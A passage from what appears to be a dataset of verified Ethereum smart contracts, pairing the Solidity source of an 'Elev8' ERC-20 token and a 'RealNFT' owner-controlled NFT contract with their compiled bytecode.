function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Elev8 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "Elev8";
_symbol = "ELV8";
_decimals = 18;
_totalSupply = 100000000000 * 10 ** 18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {erc20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461048a578063a9059cbb146104f0578063dd62ed3e14610556578063f2fde38b146105ce576100f5565b8063715018a614610369578063893d20e8146103735780638da5cb5b146103bd57806395d89b4114610407576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab57806370a0823114610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b610102610612565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b4565b604051808215151515815260200191505060405180910390f35b6101eb6106d2565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106dc565b604051808215151515815260200191505060405180910390f35b61028f6107b5565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107cc565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061087f565b6040518082815260200191505060405180910390f35b6103716108c8565b005b61037b610a50565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103c5610a5f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61040f610a88565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044f578082015181840152602081019050610434565b50505050905090810190601f16801561047c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104d6600480360360408110156104a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2a565b604051808215151515815260200191505060405180910390f35b61053c6004803603604081101561050657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bf7565b604051808215151515815260200191505060405180910390f35b6105b86004803603604081101561056c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c15565b6040518082815260200191505060405180910390f35b610610600480360360208110156105e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c9c565b005b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106aa5780601f1061067f576101008083540402835291602001916106aa565b820191906000526020600020905b81548152906001019060200180831161068d57829003601f168201915b5050505050905090565b60006106c86106c1610d71565b8484610d79565b6001905092915050565b6000600354905090565b60006106e9848484610f70565b6107aa846106f5610d71565b6107a58560405180606001604052806028815260200161154860289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061075b610d71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122a9092919063ffffffff16565b610d79565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006108756107d9610d71565b8461087085600260006107ea610d71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ea90919063ffffffff16565b610d79565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108d0610d71565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610991576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610a5a610a5f565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b205780601f10610af557610100808354040283529160200191610b20565b820191906000526020600020905b815481529060010190602001808311610b0357829003601f168201915b5050505050905090565b6000610bed610b37610d71565b84610be8856040518060600160405280602581526020016115b96025913960026000610b61610d71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122a9092919063ffffffff16565b610d79565b6001905092915050565b6000610c0b610c04610d71565b8484610f70565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ca4610d71565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d65576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610d6e81611372565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806115956024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806115006022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806115706025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561107c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806114b76023913960400191505060405180910390fd5b6110e88160405180606001604052806026815260200161152260269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122a9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ea90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906112d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561129c578082015181840152602081019050611281565b50505050905090810190601f1680156112c95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611368576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806114da6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820cce938d6732a4fa535faaa1b6dc7bcb0fd3ac5ae9c0694142f92f9cdf3e4146d64736f6c63430005100032 | {"success": true, "error": null, "results": {}} | 1,459 |
0x4e2df5ad942fafd27a68fa793c6a6494c9be998e | /**
*Submitted for verification at Etherscan.io on 2021-10-08
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;
/// @notice Access control contract.
/// @author Adapted from https://github.com/sushiswap/trident/blob/master/contracts/utils/TridentOwnable.sol.
abstract contract LexOwnable {
address public owner;
address public pendingOwner;
event TransferOwner(address indexed sender, address indexed recipient);
event TransferOwnerClaim(address indexed sender, address indexed recipient);
/// @notice Initialize and grant deployer account (`msg.sender`) `owner` access role.
constructor() {
owner = msg.sender;
emit TransferOwner(address(0), msg.sender);
}
/// @notice Access control modifier that conditions modified function to be called by `owner` account.
modifier onlyOwner() {
require(msg.sender == owner, "NOT_OWNER");
_;
}
/// @notice `pendingOwner` can claim `owner` account.
function claimOwner() external {
require(msg.sender == pendingOwner, "NOT_PENDING_OWNER");
emit TransferOwner(owner, msg.sender);
owner = msg.sender;
pendingOwner = address(0);
}
/// @notice Transfer `owner` account.
/// @param recipient Account granted `owner` access control.
/// @param direct If 'true', ownership is directly transferred.
function transferOwner(address recipient, bool direct) external onlyOwner {
require(recipient != address(0), "ZERO_ADDRESS");
if (direct) {
owner = recipient;
emit TransferOwner(msg.sender, recipient);
} else {
pendingOwner = recipient;
emit TransferOwnerClaim(msg.sender, recipient);
}
}
}
/// @notice Function pausing contract.
abstract contract LexPausable is LexOwnable {
event SetPause(bool indexed paused);
bool public paused;
/// @notice Initialize contract with `paused` status.
constructor(bool _paused) {
paused = _paused;
emit SetPause(_paused);
}
/// @notice Function pausability modifier.
modifier notPaused() {
require(!paused, "PAUSED");
_;
}
/// @notice Sets function pausing status.
/// @param _paused If 'true', modified functions are paused.
function setPause(bool _paused) external onlyOwner {
paused = _paused;
emit SetPause(_paused);
}
}
/// @notice Function whitelisting contract.
abstract contract LexWhitelistable is LexOwnable {
event ToggleWhiteList(bool indexed whitelistEnabled);
event UpdateWhitelist(address indexed account, bool indexed whitelisted);
bool public whitelistEnabled;
mapping(address => bool) public whitelisted;
/// @notice Initialize contract with `whitelistEnabled` status.
constructor(bool _whitelistEnabled) {
whitelistEnabled = _whitelistEnabled;
emit ToggleWhiteList(_whitelistEnabled);
}
/// @notice Whitelisting modifier that conditions modified function to be called between `whitelisted` accounts.
modifier onlyWhitelisted(address from, address to) {
if (whitelistEnabled)
require(whitelisted[from] && whitelisted[to], "NOT_WHITELISTED");
_;
}
/// @notice Update account `whitelisted` status.
/// @param account Account to update.
/// @param _whitelisted If 'true', `account` is `whitelisted`.
function updateWhitelist(address account, bool _whitelisted) external onlyOwner {
whitelisted[account] = _whitelisted;
emit UpdateWhitelist(account, _whitelisted);
}
/// @notice Toggle `whitelisted` conditions on/off.
/// @param _whitelistEnabled If 'true', `whitelisted` conditions are on.
function toggleWhitelist(bool _whitelistEnabled) external onlyOwner {
whitelistEnabled = _whitelistEnabled;
emit ToggleWhiteList(_whitelistEnabled);
}
}
/// @notice Modern and gas efficient ERC-721 + ERC-20/EIP-2612-like implementation
// - Designed for tokenizing realness by RealDAO with ownership, pausing, and whitelisting.
contract RealNFT is LexOwnable, LexPausable, LexWhitelistable {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed spender, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
string public constant name = "RealNFT";
string public constant symbol = "REAL";
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => string) public tokenURI;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
bytes32 public constant PERMIT_TYPEHASH =
keccak256("Permit(address spender,uint256 tokenId,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_ALL_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 nonce,uint256 deadline)");
uint256 internal immutable DOMAIN_SEPARATOR_CHAIN_ID;
bytes32 internal immutable _DOMAIN_SEPARATOR;
mapping(uint256 => uint256) public nonces;
mapping(address => uint256) public noncesForAll;
constructor() LexPausable(false) LexWhitelistable(true) {
DOMAIN_SEPARATOR_CHAIN_ID = block.chainid;
_DOMAIN_SEPARATOR = _calculateDomainSeparator();
}
function _calculateDomainSeparator() internal view returns (bytes32 domainSeperator) {
domainSeperator = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
block.chainid,
address(this)
)
);
}
function DOMAIN_SEPARATOR() public view returns (bytes32 domainSeperator) {
domainSeperator = block.chainid == DOMAIN_SEPARATOR_CHAIN_ID ? _DOMAIN_SEPARATOR : _calculateDomainSeparator();
}
function supportsInterface(bytes4 interfaceId) external pure returns (bool supported) {
supported = interfaceId == 0x80ac58cd || interfaceId == 0x5b5e139f;
}
function approve(address spender, uint256 tokenId) external {
address owner = ownerOf[tokenId];
require(msg.sender == owner || isApprovedForAll[owner][msg.sender], "NOT_APPROVED");
getApproved[tokenId] = spender;
emit Approval(owner, spender, tokenId);
}
function setApprovalForAll(address operator, bool approved) external {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function transfer(address to, uint256 tokenId) external notPaused onlyWhitelisted(msg.sender, to) {
require(msg.sender == ownerOf[tokenId], "NOT_OWNER");
/// @dev This is safe because ownership is checked
// against decrement, and sum of all user
// balances can't exceed 'type(uint256).max'.
unchecked {
balanceOf[msg.sender]--;
balanceOf[to]++;
}
delete getApproved[tokenId];
ownerOf[tokenId] = to;
emit Transfer(msg.sender, to, tokenId);
}
function transferFrom(address from, address to, uint256 tokenId) public notPaused onlyWhitelisted(from, to) {
address owner = ownerOf[tokenId];
require(from == owner, "FROM_NOT_OWNER");
require(
msg.sender == owner
|| msg.sender == getApproved[tokenId]
|| isApprovedForAll[owner][msg.sender],
"NOT_APPROVED"
);
/// @dev This is safe because ownership is checked
// against decrement, and sum of all user
// balances can't exceed 'type(uint256).max'.
unchecked {
balanceOf[owner]--;
balanceOf[to]++;
}
delete getApproved[tokenId];
ownerOf[tokenId] = to;
emit Transfer(owner, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) external {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public {
transferFrom(from, to, tokenId);
if (to.code.length != 0) {
/// @dev selector = `onERC721Received(address,address,uint,bytes)`.
(, bytes memory returned) = to.staticcall(abi.encodeWithSelector(0x150b7a02,
msg.sender, from, tokenId, data));
bytes4 selector = abi.decode(returned, (bytes4));
require(selector == 0x150b7a02, "NOT_ERC721_RECEIVER");
}
}
function permit(
address spender,
uint256 tokenId,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
address owner = ownerOf[tokenId];
/// @dev This is reasonably safe from overflow because incrementing `nonces` beyond
// 'type(uint256).max' is exceedingly unlikely compared to optimization benefits.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, spender, tokenId, nonces[tokenId]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0), "INVALID_PERMIT_SIGNATURE");
require(recoveredAddress == owner || isApprovedForAll[owner][recoveredAddress], "INVALID_SIGNER");
}
getApproved[tokenId] = spender;
emit Approval(owner, spender, tokenId);
}
function permitAll(
address owner,
address operator,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
/// @dev This is reasonably safe from overflow because incrementing `nonces` beyond
// 'type(uint256).max' is exceedingly unlikely compared to optimization benefits.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_ALL_TYPEHASH, owner, operator, noncesForAll[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(
(recoveredAddress != address(0) && recoveredAddress == owner) || isApprovedForAll[owner][recoveredAddress],
"INVALID_PERMIT_SIGNATURE"
);
}
isApprovedForAll[owner][operator] = true;
emit ApprovalForAll(owner, operator, true);
}
function mint(address to, uint256 tokenId, string memory _tokenURI) external onlyOwner {
require(ownerOf[tokenId] == address(0), "ALREADY_MINTED");
/// @dev This is reasonably safe from overflow because incrementing `nonces` beyond
// 'type(uint256).max' is exceedingly unlikely compared to optimization benefits,
// and because the sum of all user balances can't exceed 'type(uint256).max'.
unchecked {
totalSupply++;
balanceOf[to]++;
}
ownerOf[tokenId] = to;
tokenURI[tokenId] = _tokenURI;
emit Transfer(address(0), to, tokenId);
}
function burn(uint256 tokenId) external onlyOwner {
address owner = ownerOf[tokenId];
require(ownerOf[tokenId] != address(0), "NOT_MINTED");
/// @dev This is safe because a user won't ever
// have a balance larger than totalSupply.
unchecked {
totalSupply--;
balanceOf[owner]--;
}
delete ownerOf[tokenId];
delete tokenURI[tokenId];
emit Transfer(owner, address(0), tokenId);
}
} | 0x608060405234801561001057600080fd5b50600436106102265760003560e01c80637ac2ff7b1161012a578063b4e13c8d116100bd578063cf81afaa1161008c578063d936547e11610071578063d936547e146105c8578063e30c3978146105eb578063e985e9c51461060b57600080fd5b8063cf81afaa146105a2578063d3fc9864146105b557600080fd5b8063b4e13c8d14610542578063b88d4fde14610569578063bedb86fb1461057c578063c87b56dd1461058f57600080fd5b806395d89b41116100f957806395d89b41146104cd578063a22cb46514610509578063a9059cbb1461051c578063aba078471461052f57600080fd5b80637ac2ff7b1461046757806380e3f1ad1461047a5780638da5cb5b1461048d578063904dfb8e146104ad57600080fd5b806330adf81f116101bd57806342966c681161018c5780635c975abb116101715780635c975abb146103ec5780636352211e1461041157806370a082311461044757600080fd5b806342966c68146103b357806351fb012d146103c657600080fd5b806330adf81f146103695780633644e515146103905780633bd1adec1461039857806342842e0e146103a057600080fd5b80630d392cd9116101f95780630d392cd91461030c578063141a468c1461031f57806318160ddd1461034d57806323b872dd1461035657600080fd5b806301ffc9a71461022b57806306fdde0314610253578063081812fc1461029c578063095ea7b3146102f7575b600080fd5b61023e610239366004612516565b610639565b60405190151581526020015b60405180910390f35b61028f6040518060400160405280600781526020017f5265616c4e46540000000000000000000000000000000000000000000000000081525081565b60405161024a91906125b0565b6102d26102aa3660046125c3565b60076020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161024a565b61030a610305366004612605565b6106d2565b005b61030a61031a36600461263f565b610821565b61033f61032d3660046125c3565b60096020526000908152604090205481565b60405190815260200161024a565b61033f60035481565b61030a610364366004612672565b610921565b61033f7f49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad81565b61033f610cdd565b61030a610e2c565b61030a6103ae366004612672565b610f2a565b61030a6103c13660046125c3565b610f4a565b60015461023e907501000000000000000000000000000000000000000000900460ff1681565b60015461023e9074010000000000000000000000000000000000000000900460ff1681565b6102d261041f3660046125c3565b60056020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b61033f6104553660046126ae565b60046020526000908152604090205481565b61030a6104753660046126da565b61113b565b61030a610488366004612732565b611527565b6000546102d29073ffffffffffffffffffffffffffffffffffffffff1681565b61033f6104bb3660046126ae565b600a6020526000908152604090205481565b61028f6040518060400160405280600481526020017f5245414c0000000000000000000000000000000000000000000000000000000081525081565b61030a61051736600461263f565b61161e565b61030a61052a366004612605565b6116b5565b61030a61053d36600461274d565b61197e565b61033f7fdaab21af31ece73a508939fedd476a5ee5129a5ed4bb091f3236ffb45394df6281565b61030a610577366004612855565b611d02565b61030a61058a366004612732565b611ebd565b61028f61059d3660046125c3565b611fb3565b61030a6105b036600461263f565b61204d565b61030a6105c33660046128d1565b612234565b61023e6105d63660046126ae565b60026020526000908152604090205460ff1681565b6001546102d29073ffffffffffffffffffffffffffffffffffffffff1681565b61023e61061936600461293c565b600860209081526000928352604080842090915290825290205460ff1681565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007fffffffff00000000000000000000000000000000000000000000000000000000831614806106cc57507f5b5e139f000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b60008181526005602052604090205473ffffffffffffffffffffffffffffffffffffffff1633811480610735575073ffffffffffffffffffffffffffffffffffffffff8116600090815260086020908152604080832033845290915290205460ff165b6107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4e4f545f415050524f564544000000000000000000000000000000000000000060448201526064015b60405180910390fd5b60008281526007602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff87811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146108a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610797565b73ffffffffffffffffffffffffffffffffffffffff821660008181526002602052604080822080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001685151590811790915590519092917f08b2c0469ecd1d7a21d7e1492f0fc75fc7e8e0fa4fdf4275949c90875f5ebdf591a35050565b60015474010000000000000000000000000000000000000000900460ff16156109a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f50415553454400000000000000000000000000000000000000000000000000006044820152606401610797565b600154839083907501000000000000000000000000000000000000000000900460ff1615610a8e5773ffffffffffffffffffffffffffffffffffffffff821660009081526002602052604090205460ff168015610a28575073ffffffffffffffffffffffffffffffffffffffff811660009081526002602052604090205460ff165b610a8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4e4f545f57484954454c495354454400000000000000000000000000000000006044820152606401610797565b60008381526005602052604090205473ffffffffffffffffffffffffffffffffffffffff9081169086168114610b20576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f46524f4d5f4e4f545f4f574e45520000000000000000000000000000000000006044820152606401610797565b3373ffffffffffffffffffffffffffffffffffffffff82161480610b67575060008481526007602052604090205473ffffffffffffffffffffffffffffffffffffffff1633145b80610ba2575073ffffffffffffffffffffffffffffffffffffffff8116600090815260086020908152604080832033845290915290205460ff165b610c08576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4e4f545f415050524f56454400000000000000000000000000000000000000006044820152606401610797565b73ffffffffffffffffffffffffffffffffffffffff808216600081815260046020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff019055938916808352848320805460010190558883526007825284832080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081169091556005909252848320805490921681179091559251879392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050505050565b60007f00000000000000000000000000000000000000000000000000000000000000014614610e075750604080518082018252600781527f5265616c4e46540000000000000000000000000000000000000000000000000060209182015281518083018352600181527f31000000000000000000000000000000000000000000000000000000000000009082015281517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f818301527ff0117c4cf44e4428c75882bba8f02bb847db6cf551528c0027a6e033dd0ca06c818401527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a0808301919091528351808303909101815260c0909101909252815191012090565b507f08f405025c49ee37b8a00c3d2c714e3f4a2562f12f7af817643c4aa21ec5137090565b60015473ffffffffffffffffffffffffffffffffffffffff163314610ead576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f4e4f545f50454e44494e475f4f574e45520000000000000000000000000000006044820152606401610797565b60008054604051339273ffffffffffffffffffffffffffffffffffffffff909216917f5bb496b3f951b55d3a1d8e479725a4d25bdc7644fc355f0b71c540354820a1c591a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081163317909155600180549091169055565b610f4583838360405180602001604052806000815250611d02565b505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610fcb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610797565b60008181526005602052604090205473ffffffffffffffffffffffffffffffffffffffff1680611057576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f4e4f545f4d494e544544000000000000000000000000000000000000000000006044820152606401610797565b600380547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810190915573ffffffffffffffffffffffffffffffffffffffff82166000908152600460209081526040808320805490940190